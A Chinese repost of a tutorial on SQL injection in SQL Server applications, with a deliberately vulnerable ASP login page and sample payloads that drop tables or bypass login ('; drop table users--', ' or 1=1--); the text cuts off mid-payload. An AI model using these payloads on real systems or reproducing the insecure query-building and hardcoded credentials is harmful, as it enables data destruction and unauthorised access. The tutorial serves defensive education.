SQL Server應用程式中的進階SQL注入

來源:互聯網
上載者:User
server|程式|進階 介紹:
SQL是一種用於關聯式資料庫的結構化查詢語言 (SQL)。它分為許多種,但大多數都鬆散地基於美國國家標準化組織最新的標準SQL-92。典型的執行語句是query,它能夠收集比較有達標性的記錄並返回一個單一的結果集。SQL語言可以修改資料庫結構(資料定義語言 (Data Definition Language))和操作資料庫內容(資料操作語言)。在這份文檔中,我們將特別討論SQLSERVER所使用的Transact-SQL語言。
當一個攻擊者能夠通過往query中插入一系列的sql語句來操作資料寫入到應用程式中去,我們管這種方法定義成SQL注入。

一個典型的SQL語句如下:
Select id,forename,surname from authors
這條語句將返回authors表中所有行的id,forename和surname列。這個結果可以被限制,例如:
Select id,forename,surname from authors where forename'john' and surname='smith'
需要著重指明的是字串'john'和'smith'被單引號限制。明確的說,forename和surname欄位是被使用者提供的輸入限制的,攻擊者可以通過輸入值來往這個查詢中注入一些SQL語句,
如下:
Forename:jo'hn
Surname:smith
查詢語句變為:
Select id,forename,surname from authors where forename='jo'hn' and surname='smith'
當資料庫試圖去執行這個查詢時,它將返回如下錯誤:
Server:Msg 170, Level 15, State 1, Line 1
Line 1:Incorrect syntax near 'hn'
造成這種結果的原因是插入了.作為定界符的單引號。資料庫嘗試去執行'hn',但是失敗。如果攻擊者提供特別的輸入如:
Forename:jo';drop table authors—
Surname:
結果是authors表被刪除,造成這種結果的原因我們稍後再講。

看上去好象通過從輸入中去掉單引號或者通過某些方法避免它們都可以解決這個問題。這是可行的,但是用這種方法做解決方案會存在幾個困難。第一,並不是所有使用者提供的資料都是字串。如果使用者輸入的是通過使用者id來查詢author,那我們的查詢應該像這樣:
Select id,forename,surname from authors where id=1234
在這種情況下,一個攻擊者可以非常簡單地在數位結尾添加SQL語句,在其他版本的SQL語言中,使用各種各樣的限定符號;在資料庫管理系統JET引擎中,資料可以被使用'#'限定。第二,避免單引號儘管看上去可以,但是是沒必要的,原因我們稍後再講。

我們更進一步地使用一個簡單的ASP登陸頁面來指出哪些能進入SQLSERVER資料庫並且嘗試鑒別進入一些虛構的應用程式的許可權。
這是一個提交表單頁的代碼,讓使用者輸入使用者名稱和密碼:
<HTML>
<HEAD>
<TITLE>Login Page</TITLE>
</HEAD>

<BODY bgcolor='000000' text='cccccc'>
<FONT Face='tahoma' color='cccccc'>
<CENTER><H1>Login</H1>
<FORM action='process_loginasp' method=post>
<TABLE>
<TR><TD>Username:</TD><TD><INPUT type=text name=username size=100 width=100></TD></TR>
<TR><TD>Password:</TD><TD><INPUT type=password name=password size=100 withd=100></TD></TR>
</TABLE>
<INPUT type=submit value='Submit'><INPUT type=reset value='Reset'>
</FORM>
</Font>
</BODY>
</HTML>
下面是process_login.asp的代碼,它是用來控制登陸的:
<HTML>
<BODY bgcolor='000000' text='ffffff'>
<FONT Face='tahoma' color='ffffff'>
<STYLE>
p { font-size=20pt ! important}
font { font-size=20pt ! important}
h1 { font-size=64pt ! important}
</STYLE>
<%@LANGUAGE = JScript %>
<%
function trace( str ) {
if( Request.form("debug") == "true" )
Response.write( str );
}
function Login( cn ) {
var username;
var password;
username = Request.form("username");
password = Request.form("password");
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = '" + username + "' and password = '" + password + "'"; trace( "query: " + sql );
rso.open( sql, cn );
if (rso.EOF) {
rso.close();
%>
<FONT Face='tahoma' color='cc0000'>
<H1> <BR><BR>
<CENTER>ACCESS DENIED</CENTER>
</H1>
</BODY>
</HTML>
<% Response.end return; }
else {
Session("username") = "" + rso("username");
%>
<FONT Face='tahoma' color='00cc00'>
<H1> <CENTER>ACCESS GRANTED<BR> <BR>
Welcome, <% Response.write(rso("Username")); Response.write( "</BODY></HTML>" ); Response.end }
}
function Main() { //Set up connection
var username
var cn = Server.createobject( "ADODB.Connection" );
cn.connectiontimeout = 20;
cn.open( "localserver", "sa", "password" );
username = new String( Request.form("username") );
if( username.length > 0) {
Login( cn );
}
cn.close();
}
Main();
%>
出現問題的地方是process_lgin.asp中產生查詢語句的部分:
Var sql="select * from users where username='"+username+"' and password='"+password+"'";
如果使用者輸入的資訊如下:
Username:';drop table users—
Password:
資料庫中表users將被刪除,拒絕任何使用者進入應用程式。'—'符號在Transact-SQL中表示忽略'—'以後的語句,';'符號表示一個查詢的結束和另一個查詢的開始。'—'位於username欄位中是必須的,它為了使這個特殊的查詢終止,並且不返回錯誤。

攻擊者可以只需提供他們知道的使用者名稱,就可以以任何使用者登陸,使用如下輸入:
Username:admin'—
攻擊者可以使用users表中第一個使用者,輸入如下:
Username:' or 1=1—
更特別地,攻擊者可以使用完全虛構的使用者登陸,輸入如下:
Username:' union select 1,'fictional_us



相關文章

E-Commerce Solutions

Leverage the same tools powering the Alibaba Ecosystem

Learn more >

Apsara Conference 2019

The Rise of Data Intelligence, September 25th - 27th, Hangzhou, China

Learn more >

Alibaba Cloud Free Trial

Learn and experience the power of Alibaba Cloud with a free trial worth $300-1200 USD

Learn more >

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。